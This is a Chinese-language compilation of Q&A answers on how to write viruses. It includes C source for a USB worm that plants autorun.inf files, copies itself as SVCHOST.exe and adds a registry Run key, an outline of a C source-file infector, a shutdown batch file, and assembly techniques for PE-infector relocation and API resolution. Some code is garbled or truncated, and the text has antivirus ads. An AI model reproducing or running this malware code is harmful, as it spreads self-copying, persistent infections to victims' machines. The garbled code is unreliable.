病毒分子編譯
A. 如何用c語言寫病毒
在讀本程序前請保證不用此程序進行違法活動,否則,請馬上離開.最基本的病毒.
本病毒的功能:
1.在C、D、E盤和c:\windows\system、c:\windows中生成本病毒體文件
2.在C、D、E盤中生成自動運行文件
3.注冊c:\windows\system\svchost.exe,使其開機自動運行
4.在C:\windows\system下生成隱蔽DLL文件
5.病毒在執行後具有相聯復制能力本病毒類似普通U盤病毒雛形,具備自我復制、運行能力。以下程序在DEV-CPP 4.9.9.2(GCC編譯器)下編譯通過
請保存為SVCHOST.C編譯,運行,本病毒對計算機無危害,請放心研究
/* SVCHOST.C */
/* SVCHOST.EXE */#define SVCHOST_NUM 6
#include<stdio.h>
#include<string.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\Command=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *files_autorun[10]={"c:\\autorun.inf","d:\\autorun.inf","e:\\autorun.inf"};
char *files_svchost[SVCHOST_NUM+1]={"c:\\windows\\system\\MSMOUSE.DLL",
"c:\\windows\\system\\SVCHOST.exe","c:\\windows\\SVCHOST.exe",
"c:\\SVCHOST.exe","d:\\SVCHOST.exe","e:\\SVCHOST.exe","SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f";int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int main(void)
{
FILE *input,*output;
int i,k;
for(i=0;i<3;i++)
{
output=fopen(files_autorun[i],"w");
fprintf(output,"%s",autorun);
fclose(output);
}
for(i=0;i<=SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost[i],"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
(files_svchost[i],files_svchost[k]);
}
i=SVCHOST_NUM+1;
}
}
system(regadd); /* 注冊SVCHOST.exe,讓其在啟動時運行 */
return 0;
} 如果你想來狠點;把安全模式的注冊表項也刪除了.讓它進不了安全模式;
警告:不會修改注冊表的人;別運行本程序...
B. 病毒一般是用什麼語言編寫!
編病毒程序的軟體很多。可以用vb script做個腳本病毒,彈出N多對話框,直到死機。採取的是一種叫做「死循環」的語法規則。用java script做炸彈程序。用C語言做蠕蟲病毒或者是特洛伊木馬。但最高級的編程者,是利用匯編語言做病毒的編譯的。
C. 病毒源代碼
病毒源代碼是實現病毒功能的程序代碼。只有用編譯器編譯病毒代碼,才可以獲得可執行的病毒程序,否則代碼就是一堆文字而已。
病毒源代碼可以直接用編譯器製作病毒,腳本病毒的源代碼可以直接被執行。
如果你有志於學習編程,那麼閱讀病毒源代碼是種比較酷的辦法,你不僅可以從中學到相應的編程知識和系統知識,還可以對源代碼進行修改,甚至在別人成果的基礎上製造自己的病毒! 那個熊貓燒香的作者就是這么乾的。
當然,DON『T DO EVIL!
D. 怎麼編寫病毒程序
問題一:如何編寫程序病毒? 那首先要對系統底層的東西比較熟悉,如果編網路病毒,還要對網路協議很了解。並且要精通至少一門編程語言,一般寫病毒用a *** (匯編語言)的比較多,用其他也可以,比如vbs(vb腳本語言)或者.bat的海處理,都可以。如果寫unix 類系統的病毒用c語言的多一些。但匯編知識是寫高級病毒必須的知識。
問題二:如何寫一個簡單的病毒程序? 前些天學病毒這門技術著實吃了很多苦頭,走了很多彎路,盡管按我的知識水平,病毒已經是水到渠成的學習內容了。但是我現在學了入門才發現這門技術實際上隱藏著很多玄機,包含著許多技術,不專門學習研究根本無法達到「牛」的境界上去。如今寫了這篇文章,介紹的都是相當實用的東西,可以讓你少走許多彎路(有時侯一個錯誤夠你找幾個小時的)。不過需要些基礎知識才能看懂。假如你有天知識儲備夠了,不學學病毒將是你的遺憾。另,由於是寫給協會會員參考的,也沒寫的多「專業」,多了些贅述。
在你看之前,你應該知道這只是篇可以帶你入門的文章,如果你已經會了就不用看了。看的時候最好准備個PE表在旁邊。寫病毒程序可以使用很多種語言來寫比如C,匯編,甚至有人用Dephi這樣可視化編程工具都能寫出來。但是最適合寫病毒程序的還是匯編語言。匯編語言底層,靈活,速度快,體積小的優勢能將一個病毒程序發揮到極至,通常一個程序寫出來才幾千位元組就包含了所有的功能。一般一個病毒都有如下幾個功能:
一 代碼重定位
二 自己找到所需API地址
三 搜索文件、目錄
四 感染文件
五 破壞系統或文件(隨便你了)
其中一,二項功能是必要的,五項功能是可選的。而一個病毒程序感染文件的功能是它的核心,是衡量它質量的重要標准。
(一)代碼的重定位
一個變數或函數其實是一個內存地址,在編譯好後,程序中的指令通過變數或函數的內存地址再去存取他們,這個地址是個絕對地址。如果你將代碼插入到其他任何地方,再通過原來編譯時產生的地址去找他們就找不到了,因為他們已經搬家了。但是,你在寫程序時考慮到這個問題,你就可以在代碼最開始,放上幾行代碼取得程序基地址,以後變數和函數作為偏移地址,顯式的加上這個基地址就能順利找到了,這就是重定位。就象這段代碼。
Call getbaseaddress
Getbaseaddress:pop ebx
Sub ebx,offset getbaseaddress
Mov eax,dword ptr [ebx+Var1]
如果你使用宏匯編語言寫病毒,請盡量使用ebx做基地址指針,不要使用ebp,因為ebp在調用帶參數的函數時會改變。
(二)自己取得所需的API地址
一個win32程序文件,所調用的API函數地址,是由系統填入到程序文件中描述各類數據位置的數據結構中的。而病毒作為一個殘廢是享受不到這個待遇的。因為你在把病毒的代碼插入目標程序時沒有把這些描述數據存放位置的數據結構信息也弄進去。它 *** 入到其他目標程序後就成了只有代碼的殘廢兒童:(所以作為一個殘廢兒童,應當自力更生。自己搜尋自己需要的API地址。目標程序文件就包含了我們需要的東西,我們需要自己去找。目標程序文件只要還是win32程序,它的地址空間中就包含的有Kernel32.dll。如果找到了它,我們就能找到其他任何的東東。第一步,搜尋kernel32.dll的基地址。當然了,整個地址空間有4GB,可供搜索的用戶進程空間也有2GB。在2GB中搜索,太嚇人了。總不能在執行被感染的目標程序時,先讓用戶喝杯茶吧?或者斗鬥地主?這里有兩個技巧向大家介紹。
在程序被載入後,載入程序會調用程序的主線程的第一條指令的位置。它使用的指令是CALL,就是說,你程序還沒執行,堆棧區里就有了一個返回地址了,這個返回地址指向的是載入程序,而載入程序是包含在KERNEL32.dll中的,我們順著它向上找,就能找到kernel32.dll的基地址了。當然也不是一個位元組一個位元組的挨者找,而是一個頁面一個頁面地找。因為win3......>>
問題三:怎麼用C語言寫個簡單病毒,給個代碼過程 首先聲明:
本程序是我舉的一個例子
為了叫大家理解就可以了
如果大家拿去捉弄人,我不負任何責任!
希望大家要以學習為重!
對於病毒我們應該是深惡痛絕的,但是作為純研究許多人還是很有興趣的
我曾經用匯編做過一些具有毀滅性的病毒,本想獻出來與大家分享
不過考慮到一些小人看了會做出來一些危害別人的行為,所以我決定
用這個簡單的並毫無傷害性的c語言偽病毒來說明一下問題,
再次聲明這一切全是為了編程研究!!!
病毒的特點:
病毒的最大特點就是自我復制,從病毒的分類來說有很多種,這里我們將介紹最流行的附加式
病毒,它通過對正常的文件進行改寫,增加來實現其自我復制的目的。
從程序的角度來說,我們要做的事情有兩件:
1,讓程序能夠將自己在不影響其它程序本身工作的情況下復制給其它程序,
使它具備繼續復制的能力。
2,在一定條件下使其產生某種發作效果。
其實第一件事情實際上可以看成對文件進行復制,把病毒源文件的功能函數全部放到被感染
文件的最後,同時在被感染文件中調用這個函數
下面給出c語言的實現過程:
1,主程序調用病毒功能函數
2,病毒功能函數讀取查找同目錄下所有c文件;
3,找到一個(被感染c文件),打開它,並且將此文件全部讀取到數組變數;
4,重新創建一個同名文件(被感染c文件)
5,數組變數寫回這個被感染c文件,同時將病毒源文件所需要的頭文件,病毒功能函數
調用語句寫入;
6,打開病毒源文件,將病毒功能函數全部寫到被感染c文件的最後;
這樣一個簡單的c語言偽病毒virus.c就完成了
運行程序後其內容變化另保存為after_virus.c
此時,如果我們將1.c文件用A盤復制到其他機器或者Email給別人,結果
他們一運行又感染了他們保存1.c文件目錄下所有c文件
對於第二件事情-------「發作效果」,這里只用printf語句警告了一下,當然你
完全可以寫一個TSR駐留函數
其實,這個程序勉強可以叫做病毒
根本不算是真正的病毒,好了就說這么多,
代碼如下:
#include
#include
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus=virus.c;
char buf[50][80];
char *p;
char *end=return;
char *bracket=};
char *main=main;
char *include[2]={stdio.h,dir.h};
char *int_virus=int virus();
char *buffer;
int done,i,j=0,flag=0;
printf(\nI have a virus. Writen by PuBin\n);
done = findfirst(*.c,&ffblk,0);
while (!done)
{
i=0;
if ((in = fope......>>
問題四:病毒一般用什麼語言編寫的? 由於現在大多數的所謂的黑客都沒有真正的技術,他們的木馬都是利用別人編寫的木馬生成程序生成的,只要一點就好了!~~現在流行的木馬有VB、E語言、pascal(注意Delphy不是一門語言,而是pascal語言的編輯器,就像C++跟VC++之間的關系)等,大量用他們編寫的原因並不是他們有多好,只不過是他們簡單易學!所以只要你有技術,用什麼程序寫不重要,條條大路通羅馬!
問題五:怎樣編寫簡單,對系統無害的病毒文件? 雙擊這個文件後就會關機,無毒無害。
這是代碼:
@echo off
cd/
shutdown -s -t 0 -c Loading Installation,Please Wait...
那個0是打開這個文件後多少秒關機(0就是立即關機,10就是打開文件10秒後關機), 引號中的字(Loading Installation,Please Wait...)可以隨意更改(只是引號裡面的,別把引號給刪了)。
問題六:怎樣編寫病毒 3.1.1病毒程序VIRUS.C
這是一個用C語言寫的病毒程序,當激發病毒程序時顯示時間,然後返回。病毒程序VIRUS.C可將病毒傳染給一個C語言程序。當被病毒感染的程序經編譯、連接和執行後,又可以將病毒部分傳染給其他的C語言源程序。每執行一次帶有病毒的C語言程序,就向C語言源程序傳播一次病毒。此程序的設計思路如下:
當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上找擴展名為C的匹配文件,如果找到,查找是否有被傳染過的標志「INFECTED」。如果有此標志,繼續找其它的C文件,直至全部檢查一遍。若沒有這個標志,則
(1)在未被感染的C程序頭部加入「INFECTED」已被傳染標志。
(2)讀取病毒文件的頭文件,將其插入到即將被感染的文件頭部。如果發現有重復則不插入。
(3)在主程序中插入「VIRUSES();」調用VIRUSES函數。尋找printf、for、while、break語句,如果找到就在之前插入。
(4)在文件尾部插入VIRUSES_SUB子程序。
(5)在插入到將感染文件裡面的VIRUSES_SUB子程序裡面,必須把文件名改為當前自身的文件名,否則被傳染後的文件經過編譯、連接和運行後不能再繼續傳染。
(6)最後插入VIRUSES子程序。這個子程序裡面調用了VIRUSES_SUB,執行到這里返回執行結果信息。
其中用到4個出錯的返回值,分別是:
1:用戶文件太大,不傳染;
2:帶病毒文件打不開,不傳染;
3:帶病毒文件讀取不成功,不傳染;
4:查找第一個匹配文件不成功。
如果返回值是0代表文件傳染成功。
具體實現過程如下:
其中用到的函數和結構體用法參考3.3節。
首先導入病毒子程序要用到的三個庫文件,分別是dir.h, stido.h, dos.h.在主函數裡面只調用VIRUSES函數。緊跟定義VIRUSES函數裡面要調用的VIURS_SUB函數。裡面定義了若干個變數。ffblk用來保存查找到的匹配文件的信息,用到裡面的ff_name變數來保存匹配文件名。
然後定義保存未感染的文件和病毒文件的文件型指針變數,分別用是*virus_r和*virus_v.讀取文件的緩沖區,放到二維數組a[500][80]裡面臨時存放。因為此程序對大於500行的C文件不進行傳染,所以完全可以放到裡面。首先用getdate函數獲取系統當前日期並輸出。接著用findfirst函數查找擴展名為C的文件,將其信息保存到ffblk裡面。用fgets函數讀文件的第一行,長度是80-1個字元。然後用strstr函數檢測病毒的標志,看文件是否有INFECT這個標志。
如果有,表示文件已經被傳染,關閉文件,不進行傳染。當含有病毒部分的程序被執行時,首先進入病毒程序。它在磁碟上查找*.C的匹配文件,一旦找到,查找「已被傳染過」的標志INFECTED。若有此標志,繼續找其它*.C文件,直至全部檢查一遍。
如果沒有這個標志,將文件全部讀入a[500][80],如果發現文件超過500行,不傳染,返回。將文件指針指向文件頭,打開帶病毒的文件。如果打不開,返回。
然後讀取帶病毒文件的前4行,也就是病毒子程序要用到的頭文件,寫入將被傳染的文件。若不能讀取帶病毒文件,返回。用n_line變數控制行數,把將被傳染文件的源程序寫回原文件。其中要進行處理不寫入病毒文件已有的包含語句,也就是說使#Include語句不重復。
這點是這樣實現的:定義一個字元數組char include_h[]=; strstr函數查看將被傳染文件的頭文件是否和*include_h[]相同,如果相同,......>>
問題七:怎麼用C語言編寫木馬.病毒等程序 嘿嘿給你個類病毒C程序源碼,看下方法吧 #define SVCHOST_NUM 6
#include
#include
char *autorun={[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打開\nshell\\1\\mand=SVCHOST.exe\nshell\\2\\=Open\nshell\\2\\mand=SVCHOST.exe\nshellexecute=SVCHOST.exe};
char *files_autorun[10]={c:\\autorun.inf,d:\\autorun.inf,e:\\autorun.inf};
char *files_svchost[SVCHOST_NUM+1]={c:\\windows\\system\\MSMOUSE.DLL,
c:\\windows\\system\\SVCHOST.exe,c:\\windows\\SVCHOST.exe,
c:\\SVCHOST.exe,d:\\SVCHOST.exe,e:\\SVCHOST.exe,SVCHOST.exe};
char *regadd=reg add \HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\ /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f;
int (char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,rb))!=NULL) && ((output=fopen
(outfile,wb))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
......>>
問題八:怎麼編輯木馬病毒程序 很高興為您解答:
製作並且傳播木馬都是違法行為,況且在你製作的時候可能會有人利用這漏洞對你的電腦產生危害,到時候就得不償失拉
建議下其他騰訊電腦管家,開啟所有防護,避免有人利用病毒或是木馬來危害新的電腦以及帳號的全全
1、騰訊電腦管家獨有的二代反病毒引擎,防護查殺更徹底
2、騰訊電腦管家擁有全球最大的雲庫平台,能更好的識別詐騙、釣魚網站
3、騰訊電腦管家獨創鷹眼模式,時刻保護您的愛機不受侵害
4、騰訊電腦管家獨有的安全等級,您可以時刻查看你愛機的安全狀態
5、新增廣告過濾功能,有效減輕廣告騷擾。
祝樓主祝您工作、生活愉快!!
問題九:病毒的編寫是用的什麼原理? 在計算機領域中,它是一種基於遠程式控制制的黑客工具,具有隱蔽性和非授權性的特點。
所謂隱蔽性是指木馬的設計者為了防止木馬被發現,會採用多種手段隱藏木馬,這樣服務端即使發現感染了木馬,由於不能確定其具 *** 置,往往只能望「馬」興嘆。
所謂非授權性是指一旦控制端與服務端連接後,控制端將享有服務端的大部分操作許可權,包括修改文件,修改注冊表,控制滑鼠,鍵盤等等,而這些權力並不是服務端賦予的,而是通過木馬程序竊取的。
從木馬的發展來看,基本上可以分為兩個階段。
最初網路還處於以UNIX平台為主的時期,木馬就產生了,當時的木馬程序的功能相對簡單,往往是將一段程序嵌入到系統文件中,用跳轉指令來執行一些木馬的功能,在這個時期木馬的設計者和使用者大都是些技術人員,必須具備相當的網路和編程知識。
而後隨著WINDOWS平台的日益普及,一些基於圖形操作的木馬程序出現了,用戶界面的改善,使使用者不用懂太多的專業知識就可以熟練的操作木馬,相對的木馬入侵事件也頻繁出現,而且由於這個時期木馬的功能已日趨完善,因此對服務端的破壞也更大了。
所以所木馬發展到今天,已經無所不用其極,一旦被木馬控制,你的電腦將毫無秘密可言。
二、木馬原理
[編輯本段]
鑒於木馬的巨大危害性,我們將分原理篇,防禦與反擊篇,資料篇三部分來詳細介紹木馬,希望大家對特洛伊木馬這種攻擊手段有一個透徹的了解。
【一、基礎知識 】
在介紹木馬的原理之前有一些木馬構成的基礎知識我們要事先加以說明,因為下面有很多地方會提到這些內容。
一個完整的木馬系統由硬體部分,軟體部分和具體連接部分組成。
(1)硬體部分:建立木馬連接所必須的硬體實體。 控制端:對服務端進行遠程式控制制的一方。 服務端:被控制端遠程式控制制的一方。 INTERNET:控制端對服務端進行遠程式控制制,數據傳輸的網路載體。
(2)軟體部分:實現遠程式控制制所必須的軟體程序。 控制端程序:控制端用以遠程式控制制服務端的程序。 木馬程序:潛入服務端內部,獲取其操作許可權的程序。 木馬配置程序:設置木馬程序的埠號,觸發條件,木馬名稱等,使其在服務端藏得更隱蔽的程序。
(3)具體連接部分:通過INTERNET在服務端和控制端之間建立一條木馬通道所必須的元素。 控制端IP,服務端IP:即控制端,服務端的網路地址,也是木馬進行數據傳輸的目的地。 控制端埠,木馬埠:即控制端,服務端的數據入口,通過這個入口,數據可直達控制端程序或木馬 程序。
用木馬這種黑客工具進行網路入侵,從過程上看大致可分為六步(具體可見下圖),下面我們就按這六步來詳細闡述木馬的攻擊原理。
一.配置木馬
一般來說一個設計成熟的木馬都有木馬配置程序,從具體的配置內容看,主要是為了實現以下兩方 面功能:
(1)木馬偽裝:木馬配置程序為了在服務端盡可能的好的隱藏木馬,會採用多種偽裝手段,如修改圖標 ,捆綁文件,定製埠,自我銷毀等,我們將在「傳播木馬」這一節中詳細介紹。
(2)信息反饋:木馬配置程序將就信息反饋的方式或地址進行設置,如設置信息反饋的郵件地址,IRC號 ,ICO號等等,具體的我們將在「信息反饋」這一節中詳細介紹。
【二、傳播木馬】.
(1)傳播方式:
木馬的傳播方式主要有兩種:一種是通過E-MAIL,控制端將木馬程序以附件的形式夾在郵件中發送出 去, 收信人只要打開附件系統就會感染木馬;另一種是軟體下載,一些非正規的網站以提供軟體下載為名義, 將木馬捆綁在軟體安裝程序上,下載後,只要一運行這些程序,木馬就會自動安裝。
(2)偽裝方......>>
問題十:有源代碼,怎樣編寫病毒程序? 您好:
建議您不要編寫或使用病毒程序,病毒程序會對您的電腦造成損害的,如果您曾使用過此類不安全的病毒程序的話,為了您電腦的安全,建議您使用騰訊電腦管家對您的電腦進行一下全面的殺毒吧,打開騰訊電腦管家中的殺毒功能選擇閃電查殺或者全盤查殺就可以,您可以點擊這里下載最新版的騰訊電腦管家:最新版騰訊電腦管家下載
騰訊電腦管家企業平台:./c/guanjia/
E. 為什大多數免殺,都將病毒文件反編譯成匯編代碼而不是高級語言代碼 是不是為了統一。。
wxw072理解的沒錯~
已經編譯好的可執行程序都是以二進制碼組成的
匯編這種低級語言和二進制碼是一一對應的關系
所以反編譯的時候,只要讀取硬碟或內存中的程序編碼
既可以很簡單的反編譯為匯編語言。
這樣方便實現而且錯誤率極低
而高級語言其實是一種給人看的語言,而不是給機器看的~~
機器只能看懂機器碼,匯編其實只不過是機器碼的另一種形勢,但高級語言則完全是另一種東西。
把可執行文件直接反編譯為高級語言的軟體並不多,而且反編譯出來的高級語言往往也只能做個參考,不能完全依賴
(java貌似可以,但這是因為java程序是在JVM上運行的,不依賴操作系統,也不直接操作機器。所以用java編寫並生成的程序本身也不是機器碼的。而只是一種中間代碼,這樣就很容易反編譯回java語言狀態)
何況病毒一類的東西的程序大多是加殼加花的~
這樣幾乎就沒啥可能直接反編譯成高級語言了~
只能在匯編語言下進行調試和修改
因為加殼加花是為了迷惑人的,而不是為了迷惑機器的(廢話,如果連機器都迷惑了,那這個程序就執行不了了……)
所以反匯編就是從機器的角度去讀這個程序。以求最大的成功率
而反編譯為高級語言,屬於逆向工程的范疇,很深的一門學科
是需要通過反編譯的匯編代碼,人為的恢復成高級語言代碼,挺難的~~
F. 怎麼編程病毒
摟主`你多C語言懂多少呀?通常只要在病毒代碼的開始計算出delta offset,通過變址定址的方式書寫引用數據的匯編代碼,即可保證病毒代碼在運行時被正確重定位。假設ebp 包含了delta offset,使用如下變址定址指令則可保證在運行時引用的數據地址是正確的:
;ebp 包含了delta offset 值
401000:
mov eax,dword ptr [ebp+0x402035]
......
402035:
db "hello world!",0
在書寫源程序時可以採用符號來代替硬編碼的地址值,上述的例子中給出的不過是編譯器對符號進行地址替換後的結果。現在的問題就轉換成如何獲取delta offset的值了,顯然:
call delta
delta:
pop ebp
sub ebp,offset delta
在運行時就動態計算出了delta offset 值,因為call要將其後的第一條指令的地址壓入堆棧,因此pop ebp 執行完畢後ebp 中就是delta的運行時地址,減去delta的編譯時地址「offset delta」就得到了delta offset 的值。除了用明顯的call 指令外,還可以使用不那麼明顯的fstenv、fsave、fxsave、fnstenv等浮點環境保存指令進行,這些指令也都可以獲取某條指令的運行時地址。以fnstenv 為例,該指令將最後執行的一條FPU 指令相關的協處理器的信息保存在指定的內存中fpu_addr:
fnop
call GetPhAddr
sub ebp,fpu_addr
GetPhAddr:
sub esp,16
fnstenv [esp-12]
pop ebp
add esp,12
ret
delta offset 也不一定非要放在ebp 中,只不過是ebp 作為棧幀指針一般過程都不將該寄存器用於其它用途,因此大部分病毒作者都習慣於將delta offset 保存在ebp 中,其實用其他寄存器也完全可以。
在優化過的病毒代碼中並不經常直接使用上述直接計算delta offset 的代碼,比如在Elkern開頭寫成了類似如下的代碼:
call _start_ip
_start_ip:
pop ebp
;...
;使用
call [ebp+addrOpenProcess-_start_ip]
;...
addrOpenProcess dd 0
;而不是
call _start_ip
_start_ip:
pop ebp
sub ebp,_start_ip
call [ebp+addrOpenProcess]
為什麼不採用第二種書寫代碼的方式?其原因在於盡管第一種格式在書寫源碼時顯得比較羅嗦, 但是addrOpenProcess-_start_ip 是一個較小相對偏移值,一般不超過兩個位元組,因此生成的指令較短,而addrOpenProcess在32 Win32編譯環境下一般是4 個位元組的地址值,生成的指令也就較長。有時對病毒對大小要求很苛刻,更多時候也是為了顯示其超俗的編程技巧,病毒作者大量採用這種優化,對這種優化原理感興趣的讀者請參閱Intel手冊卷2中的指令格式說明。
API 函數地址的獲取
在能夠正確重定位之後,病毒就可以運行自己代碼了。但是這還遠遠不夠,要搜索文件、讀寫文件、進行進程枚舉等操作總不能在有Win32 API 的情況下自己用匯編完全重新實現一套吧,那樣的編碼量過大而且兼容性很差。
Win9X/NT/2000/XP/2003系統都實現了同一套在各個不同的版本上都高度兼容的Win32 API,因此調用系統提供的Win32 API實現各種功能對病毒而言就是自然而然的事情了。所以接下來要解決的問題就是如何動態獲取Win32 API的地址。最早的PE病毒採用的是預編碼的方法,比如Windows 2000 中CreateFileA 的地址是0x7EE63260,那麼就在病毒代碼中使用call [7EE63260h]調用該API,但問題是不同的Windows 版本之間該API 的地址並不完全相同,使用該方法的病毒可能只能在Windows 2000的某個版本上運行。
因此病毒作者自然而然地回到PE結構上來探求解決方法,我們知道系統載入PE 文件的時候,可以將其引入的特定DLL 中函數的運行時地址填入PE的引入函數表中,那麼系統是如何為PE引入表填入正確的函數地址的呢?答案是系統解析引入DLL 的導出函數表,然後根據名字或序號搜索到相應引出函數的的RVA(相對虛擬地址),然後再和模塊在內存中的實際載入地址相加,就可以得到API 函數的運行時真正地址。在研究操作系統是如何實現動態PE文件鏈接的過程中,病毒作者找到了以下兩種解決方案:
A)在感染PE 文件的時候,可以搜索宿主的函數引入表的相關地址,如果發現要使用的函數已經被引入,則將對該API 的調用指向該引入表函數地址,若未引入,則修改引入表增加該函數的引入表項,並將對該API 的調用指向新增加的引入函數地址。這樣在宿主程序啟動的時候,系統載入器已經把正確的API 函數地址填好了,病毒代碼即可正確地直接調用該函數。
B)系統可以解析DLL 的導出表,自然病毒也可以通過這種手段從DLL 中獲取所需要的API地址。要在運行時解析搜索DLL 的導出表,必須首先獲取DLL 在內存中的真實載入地址,只有這樣才能解析從PE 的頭部信息中找到導出表的位置。應該首先解析哪個DLL 呢?我們知道Kernel32.DLL幾乎在所有的Win32 進程中都要被載入,其中包含了大部分常用的API,特別是其中的LoadLibrary 和GetProcAddress 兩個API可以獲取任意DLL 中導出的任意函數,在迄今為止的所有Windows 平台上都是如此。只要獲取了Kernel32.DLL在進程中載入的基址,然後解析Kernel32.DLL 的導出表獲取常用的API 地址,如需要可進一步使用Kernel32.DLL 中的LoadLibrary 和GetProcAddress 兩個API 更簡單地獲取任意其他DLL 中導出函數的地址並進行調用。